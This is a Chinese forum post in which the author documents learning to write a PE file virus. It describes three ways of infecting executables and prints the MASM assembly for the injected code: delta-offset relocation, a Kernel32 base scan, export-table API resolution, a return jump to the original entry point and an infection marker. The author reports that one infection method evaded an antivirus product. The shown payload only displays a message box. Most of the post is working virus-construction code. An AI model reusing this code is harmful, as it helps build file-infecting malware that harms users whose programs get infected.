【文章标题】: PE文件病毒初探
【文章作者】: loongzyd
【下载地址】: 见附件
【使用工具】: RadAsm Peid
【参考】:《加密与解密》第三版,《计算机病毒分析与防治简明教程》
PE格式大致温习一下之后开始按照教材上的进度进入PE文件病毒的学习,程序实现了"添加节方式修改PE","加长最后一节修改PE","插入节方式修改PE"三种方式。感染之后只是在程序运行正常功能之前谈出一个对话框,在没有经过处理的情况下,被感染的.exe文件都被360报毒,小红伞对第三种方式感染的.exe文件没有报毒。
我们先来看看程序感染之前的情况: 第一种方式感染之后的情况:
第二种方式感染之后的情况: 第三种方式感染之后的情况:
程序的流程
感染之后运行情况:
重定位:
Call @F
@@:
pop ebx
sub ebx,offset @B
因为代码是插入别的文件当中,所处的地址一般是不一样的,所以为了保证在别的地址也能完成相同功能,需要采用重定位技术。其实就是找到两次代码所在地址的差,在代码调用的时候将整个差加上。
查找Kernel32.dll基地址:
GetKernelBase proc _dwKernelRet:DWORD
LOCAL @dwReturn:DWORD
pushad
mov @dwReturn,0
;******************************************************
;查找Kernel32.dll的基地址
;******************************************************
mov edi,_dwKernelRet
and edi,0ffff0000h
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi,edi
add esi,[esi+003ch] ;e_lfanew字段的偏移为3c
.if word ptr [esi] == IMAGE_NT_SIGNATURE
mov @dwReturn,edi
.break
.endif
.endif
_PageError:
sub edi,01000h
.break .if edi < 07000000h
.endw
popad
mov eax,@dwReturn
ret
_GetKernelBase endp
在Windows系统下,Kernel32.dll的加载基地址都是按照0x1000对齐,从程序入口处的esp获取一个DWORD型的值[esp],整个值在Kernel32.dll模块中,这样顺着该值由高地址往地地址搜寻就能找到Kernel32.dll基地址。
查找API地址:
GetApi proc _hModule:DWORD,_lpszApi:DWORD
local @dwReturn:DWORD
LOCAL @dwStringLength:DWORD ;需要查找地址的API函数的长度
pushad
mov @dwReturn,0
;****************************************************
;重定位
;****************************************************
Call @F
@@:
pop ebx
sub ebx,offset @B
;****************************************************
;计算API字符串的长度(包含'\0')
;****************************************************
mov edi,_lpszApi
mov ecx,-1
xor al,al
cld ;设置方向标志DF=0,地址递增
repnz scasb
mov ecx,edi
sub ecx,_lpszApi
mov @dwStringLength,ecx
;****************************************************
;导出表
;****************************************************
mov esi,_hModule
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
add esi,_hModule
assume esi:ptr IMAGE_EXPORT_DIRECTORY
;****************************************************
;寻找符合名称的导出函数名
;****************************************************
mov ebx,[esi].AddressOfNames
add ebx,_hModule
xor edx,edx
.repeat
push esi
mov edi,[ebx] ;获取一个指向导出函数的API函数名称的RVA
add edi,_hModule ;加上基地址
mov esi,_lpszApi ;esi指向需要查找的API函数名称
mov ecx,@dwStringLength ;需要寻找的API函数的名称长度
repz cmpsb ;导出API函数名与需要查找的函数名进行逐位比较
.if ZERO?
pop esi ;如果匹配
jmp @F
.endif
pop esi
add ebx,4 ;指向下一个API函数名的RVA
inc edx ;计数加一
.until edx >= [esi].NumberOfNames ;如果所有的函数名已经都进行过匹配,则说明需要查找的函数不在Kernel32.dll里面
jmp _Error
@@: ;ebx指向了导出表中需要查找的函数名的地址
;**********************************************************
;API名称索引 --> 序号索引 -->地址索引
;**********************************************************
sub ebx,_hModule ;减去Kernel32基地址
sub ebx,[esi].AddressOfNames ;减去AddressOfNames字段的RVA,得到的值为API名称索引*4(DWORD)
shr ebx,1 ;除以2(AddressOfNameOrdinals的序号为WORD)
add ebx,[esi].AddressOfNameOrdinals ;加上AddressOfNameOrdinals字段的RVA
add ebx,_hModule ;加上Kernel32基地址
movzx eax, word ptr [ebx] ;得到该API的序号
shl eax,2 ;乘以4(地址为DWORD型)
add eax,[esi].AddressOfFunctions ;加上AddressOfFunctions字段的RVA
add eax,_hModule ;加上Kernel32的基地址,此时eax指向的就是需要查找的函数名的地址
mov eax,[eax]
add eax,_hModule
mov @dwReturn,eax
_Error:
assume esi:nothing
popad
mov eax,@dwReturn
ret
_GetApi endp
弹框的主要实现:
Call @F
@@:
pop ebx
sub ebx,@B
invoke _GetKernelBase,[esp] ;获取Kernel32.dll的基地址
.if !eax
jmp _ToOldEntry
.endif
mov [ebx+DllKernel32],eax ;存放Kernel32.dll的基地址
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+DllKernel32],eax ;获取GetProcAddress地址
.if !eax
jmp _ToOldEntry
.endif
mov [ebx+_GetProcAddress],eax ;存放GetProcAddress函数的地址
lea eax,[ebx+szLoadLibrary]
invoke [ebx+_GetProcAddress],[ebx+DllKernel32],eax ;获取LoadLibrary函数的地址
mov [ebx+_LoadLibrary],eax ;存放LoadLibrary函数的地址
lea eax,[ebx+szUser32]
invoke [ebx+_LoadLibrary],eax ;加载User32.dll的基地址
mov [ebx+DllUser32],eax ;存放User32.dll的基地址
lea eax,[ebx+szMessageBox]
invoke [ebx+_GetProcAddress],[ebx+DllUser32 ],eax ;获取MessageBox函数的地址
mov [ebx+_MessageBox],eax
;*****************************************************************
;测试所用,表示功能已经实现
;*****************************************************************
invoke [ebx+_MessageBox],NULL,addr [ebx+show_text],addr [ebx+show_title],MB_OK
_ToOldEntry:
db 0e9h ;0e9h是jmp xxxxxxxx的机器吗
;_dwOldEntry=(原来的入口RVA地址-jmp xxx下条指令的RVA地址)
_dwOldEntry dd 44332211h ;用来填入原来的入口地址
flags dd 11111111h
flags的作用是起到标记作用,表示该PE文件已经被感染了(定位到节区的实际代码的结尾处,然后往前移动4个字节,读取最后4个字节的数据,和11111111h进行比较)
对PE 文件进行修改的代码请查看附加中完整的程序。
写的非常菜,希望大牛们不要笑话。
ps:
level1的密码:loong
level2的密码:xp
level3的密码:cuit
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课